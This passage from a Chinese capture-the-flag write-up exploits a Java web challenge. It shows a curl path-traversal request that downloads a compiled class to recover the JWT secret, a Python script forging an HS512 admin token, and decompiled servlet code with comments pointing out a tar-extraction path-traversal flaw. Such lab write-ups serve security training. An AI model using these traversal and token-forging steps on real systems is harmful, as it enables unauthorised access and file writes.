leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf="">/dashboard/*</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">AdminDashboardServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf="">/admin/*</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">BackUpServlet</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf="">/backup/*</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">url-pattern</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-mapping</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">welcome-file-list</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">welcome-file</span></span><span leaf="">&gt;</span></span><span leaf="">index.html</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">welcome-file</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">welcome-file-list</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">web-app</span></span><span leaf="">&gt;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">读类，找到jwt密钥</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -s </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.18.25:25004/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fJwtUtil.class" target="_blank">http://192.168.18.25:25004/download?path=uploads/..%2fWEB-INF%2fclasses%2fcom%2fctf%2fJwtUtil.class</a>&#34;</span></span><span leaf=""> | strings</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-qt8xfl" style="color: #576B95 !important;" data-topic="1">#secret</a>-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">jwt不是使用HS256，而是HS512</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">生成token:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> jwt</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span leaf="">secret = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret&#34;</span></span><span leaf=""><br/></span><span leaf="">payload = {</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;sub&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;exp&#34;</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1999999999</span></span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">token = jwt.encode(payload, secret, algorithm=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;HS512&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">print(token)</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">jwt=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0.WGeso0XE0kS31XApeYw3uaSmsGRd4F0TfX7hdjyese668Kr4eAROwWIWRxXMaV1ByA7hWd_ZtEl-XM5ymBuctQ</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">#<a class="wx_topic_link" topic-id="mj5cymfz-tx59in" style="color: #576B95 !important;" data-topic="1">#AdminDashboardServlet</a></span><span style="line-height: 26px;"><span leaf="">.</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span leaf=""><br/></span><span leaf="">@</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">MultipartConfig</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">public</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">AdminDashboardServlet</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">extends</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">HttpServlet</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">public</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span leaf=""> String resourceDir = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;uploads&#34;</span></span><span leaf="">;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 静态变量，可被修改</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">protected</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">doPost</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!validateAdmin(req, resp)) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        String path = req.getPathInfo();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (path) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/delete&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                deleteFile(req, resp);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/rename&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                renameFile(req, resp);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/upload&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                uploadTar(req, resp);      </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 关键：上传并解压tar</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/challengeResourceDir&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                challengeResourceDir(req, resp);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">default</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                resp.getWriter().write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{\&#34;error\&#34;:\&#34;unknown POST path\&#34;}&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 验证是否为admin用户</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">boolean</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">validateAdmin</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        Cookie[] cookies = req.getCookies();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (Cookie cookie : cookies) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;jwt&#34;</span></span><span leaf="">.equals(cookie.getName())) {</span><span leaf=""><br/></span><span leaf="">                String username = JwtUtil.validateToken(cookie.getValue());</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;admin&#34;</span></span><span leaf="">.equals(username)) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        resp.sendError(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">403</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">false</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ⚠️ 关键漏洞点：上传tar并自动解压</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">uploadTar</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        Part filePart = req.getPart(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;file&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (filePart == </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">            resp.getWriter().write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{\&#34;error\&#34;:\&#34;no file uploaded\&#34;}&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 将上传的tar保存到 tmp/out.tar</span></span><span leaf=""><br/></span><span leaf="">        Path targetPath = Paths.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;tmp/out.tar&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        targetPath.toFile().getParentFile().mkdirs();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> (InputStream is = filePart.getInputStream();</span><span leaf=""><br/></span><span leaf="">             OutputStream os = Files.newOutputStream(targetPath)) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] data = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> count;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> ((count = is.read(data)) != -</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 检查内容是否包含恶意字符（但检查不完善）</span></span><span leaf=""><br/></span><span leaf="">                String content = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> String(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, count, StandardCharsets.UTF_8);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (content.contains(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;..&#34;</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 注意：这里的检查是在文件内容中，而不是tar条目名称中！</span></span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">                os.write(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, count);</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. ⚠️ 立即解压tar到uploads目录 - 存在路径穿越漏洞！</span></span><span leaf=""><br/></span><span leaf="">        String fileDir = getServletContext().getRealPath(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;uploads&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> (TInputStream tis = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> TInputStream(</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> BufferedInputStream(Files.newInputStream(targetPath)))) {</span><span leaf=""><br/></span><span leaf="">            TarEntry entry;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> ((entry = tis.getNextEntry()) != </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ⚠️ 漏洞：直接拼接路径，未过滤entry.getName()中的../</span></span><span leaf=""><br/></span><span leaf="">                File dest = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> File(fileDir, entry.getName());</span><span leaf=""><br/></span><span leaf="">                dest.getParentFile().mkdirs();  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 创建父目录</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> (BufferedOutputStream bos = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> BufferedOutputStream(</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> FileOutputStream(dest))) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[] data = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">byte</span></span><span leaf="">[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4096</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> count;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> ((count = tis.read(data)) != -</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">                        bos.write(data, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, count);</span><span leaf=""><br/></span><span leaf="">                    }</span><span leaf=""><br/></span><span leaf="">                    bos.flush();</span><span leaf=""><br/></span><span leaf="">                }</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        resp.getWriter().write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{\&#34;status\&#34;:\&#34;ok\&#34;}&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 修改静态资源目录</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">challengeResourceDir</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        String newPath = req.getParameter(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;new-path&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        resourceDir = newPath;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 直接赋值，无过滤</span></span><span leaf=""><br/></span><span leaf="">        resp.getWriter().write(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;{\&#34;challengeResourceDir\&#34;:\&#34;&#34;</span></span><span leaf=""> + resourceDir + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;\&#34;}&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">#<a class="wx_topic_link" topic-id="mj5cymfz-avaq02" style="color: #576B95 !important;" data-topic="1">#BackUpServlet</a></span><span style="line-height: 26px;"><span leaf="">.</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">public</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">BackUpServlet</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">extends</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">HttpServlet</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">final</span></span><span leaf=""> String UPLOAD_DIR = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;uploads&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">final</span></span><span leaf=""> String BACKUP_DIR = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backup&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">protected</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">doGet</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        String action = req.getPathInfo();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (action == </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">            writeError(resp, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;missing action&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 读取.key文件进行认证</span></span><span leaf=""><br/></span><span leaf="">        String appRoot = getServletContext().getRealPath(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        File appDir = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> File(appRoot);</span><span leaf=""><br/></span><span leaf="">        String parentDir = appDir.getParent();  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// /usr/local/tomcat/webapps/</span></span><span leaf=""><br/></span><span leaf="">        Path keyPath = Paths.get(parentDir, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;.key&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        String expectedKey = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> String(Files.readAllBytes(keyPath));</span><span leaf=""><br/></span><span leaf="">        String inputKey = req.getParameter(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;key&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (inputKey == </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">            writeError(resp, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;missing key&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!expectedKey.equals(inputKey)) {</span><span leaf=""><br/></span><span leaf="">            writeError(resp, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;not this key&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (action) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/tar&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                doTar(req, resp);    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 打包uploads到backup/out.tar</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">case</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/untar&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                doUnTar(req, resp);  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 解压backup/out.tar到uploads</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">default</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                writeError(resp, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;unknown action&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 将uploads目录打包</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">doTar</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 创建 backup/out.tar</span></span><span leaf=""><br/></span><span leaf="">    }</span><span 